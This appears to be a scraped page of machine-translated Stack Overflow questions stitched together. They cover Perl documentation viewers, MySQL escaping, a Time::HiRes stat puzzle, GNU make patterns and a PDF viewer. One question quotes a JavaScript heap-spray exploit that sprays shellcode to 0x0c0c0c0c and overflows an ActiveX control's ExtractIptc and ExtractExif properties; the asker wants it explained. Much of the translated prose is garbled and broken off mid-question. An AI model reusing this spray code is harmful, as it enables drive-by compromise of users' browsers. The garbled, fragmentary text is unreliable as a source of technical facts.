我正在寻找一个良好的屏幕POD阅读体验.
多年来,我一直使用perldoc或man运行在xterm屏幕上阅读Perl文档,并打造一个小型自定义程序Pod::LaTeX来打印它.印刷版很好:脚本做得很好.但是,屏幕阅读很痛苦:
as部分DBIx::Class::ResultSet.Less对文档的结构一无所知,搜索常见的英文单词毫无意义.see section so-and-so.大.现在我必须找到它.然后回到我原来的地方将不会是微不足道的(虽然这可能是我不那么无知的表现)!perldoc foo有效,但两个文件之间的切换很难.你可以通过暂停较少并perldoc从shell 运行来解决这个问题,但这是更多的击键而且我很懒.我希望能够单击目录,然后转到该部分.我希望能够点击"看到其他"然后去那里.等等.到目前为止,我知道两种可能性:
DBIx::Class::ResultSet.需要Internet连接,但这通常不是问题.Podbrowser.刚开始尝试这个,看起来很不错.我正在运行Debian GNU/Linux,Lenny和Squeeze.但请为所有平台建议程序,以使其尽可能有用.
我正在网站上与开发团队合作.该网站将使用课程.我负责为类创建数据访问层.了解所有用户输入将在检索时(从帖子或获取)进行转义.几乎没有对输入级别的控制(除非我亲自审查每个人的代码),我认为在我的结尾处(在它到达数据库之前)也会很酷.问题是我不知道如何使用mysql_real_escape_string而不添加更多斜杠.
由于用户输入可能包含斜杠,我无法检查以确保其中有斜杠.我或许可以检查所有需要转义的东西,并确保它们前面有一个斜线,但这似乎不是最好的方法.
有什么建议?
我无法弄清楚这里发生了什么.下面的8来自哪里?
Time::HiRes提供了一个重载,stat它可以扩展时间以获得高分辨率(我的系统支持).
$ perl -MTime::HiRes -e 'print +(stat("foo"))[8], "\n"' # V1
1322915623
$ perl -MTime::HiRes=stat -e 'print +(stat("foo"))[8], "\n"' # V2
8
$ perl -MTime::HiRes=stat -e '@a = stat("foo"); print $a[8], "\n"' # V3
1322915623
Run Code Online (Sandbox Code Playgroud)
那个特定的文件没有高分辨率的时间戳,但这不是神秘的:神秘的是V2,它打印8.实际上,它总是在方括号中打印数字.
明显的答案,它解析不同,似乎不正确:
$ perl -MO=Deparse -MTime::HiRes -e 'print +(stat("foo"))[8], "\n"' # V1
use Time::HiRes;
print((stat 'foo')[8], "\n");
-e syntax OK
$ perl -MO=Deparse -MTime::HiRes=stat -e 'print +(stat("foo"))[8], "\n"' # V2
use Time::HiRes (split(/,/, 'stat', 0));
print((stat 'foo')[8], "\n");
-e syntax OK
Run Code Online (Sandbox Code Playgroud)
它们相同(除了不同的选项 …
我不明白这段代码:
function ms(){
var plc=unescape('".
unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage();
if (mf)return(0);
mf=1;
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++) m[i]=ss+plc;
hav();
return(1);
}
Run Code Online (Sandbox Code Playgroud)
在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta变量做了什么,以及它分配给它的内容:
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
Run Code Online (Sandbox Code Playgroud)
我也无法弄清楚这个功能:
function fb(){
try {
var obj=null;
obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 400) buf += buf;
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
}
} catch(e){}
return 0;
}
Run Code Online (Sandbox Code Playgroud)
以下代码是什么意思?
cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')
这是一个什么样的变量?
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf; …Run Code Online (Sandbox Code Playgroud) 什么迹象表明软件正在消亡?
开发人员如何发现早期警告以保存一个软件不会死亡?
从用户的角度来看,我认为很清楚 - 他们无法有效使用,他们会垃圾.
除此之外,软件可能因其代码而死 - 架构,编码风格,代码库大小,代码库组织和程序员的质量.
我想知道如何听取软件死亡的迹象并采取纠正措施.任何着名的例子软件都没有,因为没有开发人员听过这些标志?是否保存了死亡软件的任何示例?
我有一个名为"images"的目录,里面装满了大约一百万张图片.是的.
我想写一个shell命令将所有这些图像重命名为以下格式:
原文: filename.jpg
新: /f/i/l/filename.jpg
有什么建议?
谢谢,
丹
在GNU make docs中,'%'被记录为匹配"any nonempty substring".但是,它似乎实际上只匹配不包含空格的非空子串.例如,假设你这样做:
mkdir /tmp/foo
cd /tmp/foo
echo 'int main() { return 0; }' > "test.c"
echo 'int main() { return 0; }' > "test space.c"
Run Code Online (Sandbox Code Playgroud)
现在,您应该能够使用GNU Make的内置模式规则构建它们:
anthony@Zia:/tmp/foo$ make "test"
cc test.c -o test
anthony@Zia:/tmp/foo$ make "test space"
make: *** No rule to make target `test space'. Stop.
Run Code Online (Sandbox Code Playgroud)
编写makefile时会出现同样的问题.
anthony@Zia:/tmp/foo$ rm test
anthony@Zia:/tmp/foo$ echo 'all: test test\ space' > Makefile
anthony@Zia:/tmp/foo$ make
cc test.c -o test
make: *** No rule to make target `test space', needed by …Run Code Online (Sandbox Code Playgroud) 我有一个最初只使用纯常数常量的API,但我对其进行了扩展,以便在使用时可以通过传递子例程引用来计算它。为了保持向后兼容性,我正在测试它是否是代码参考:
'CODE' eq ref($var)
? $var->()
: $var;
Run Code Online (Sandbox Code Playgroud)
但我意识到不包括充当子例程的对象。像这样:
package Foo {
sub new { bless {}, 'Foo' }
use overload '&{}' => sub { sub { "Hello, world." } };
}
Run Code Online (Sandbox Code Playgroud)
我可以尝试在一个eval块中调用它,但是随后必须仔细检查$@以确定它是否失败,因为它不是子例程引用(因此回落为简单的标量),而被调用的子例程在某些情况下失败了原因(应该传播错误)。
当然,在这种情况下,由于旧值是一个非引用,因此我可以假定任何引用都是可调用的,但是我想要一个通用的解决方案(因为在以前它是哈希引用之前,我曾使用过这种方法)。有没有简单可靠的方法来测试标量是否“可执行”?
我需要在我的应用程序中嵌入PDF查看器.我可以使用任何免费软件吗?
谢谢.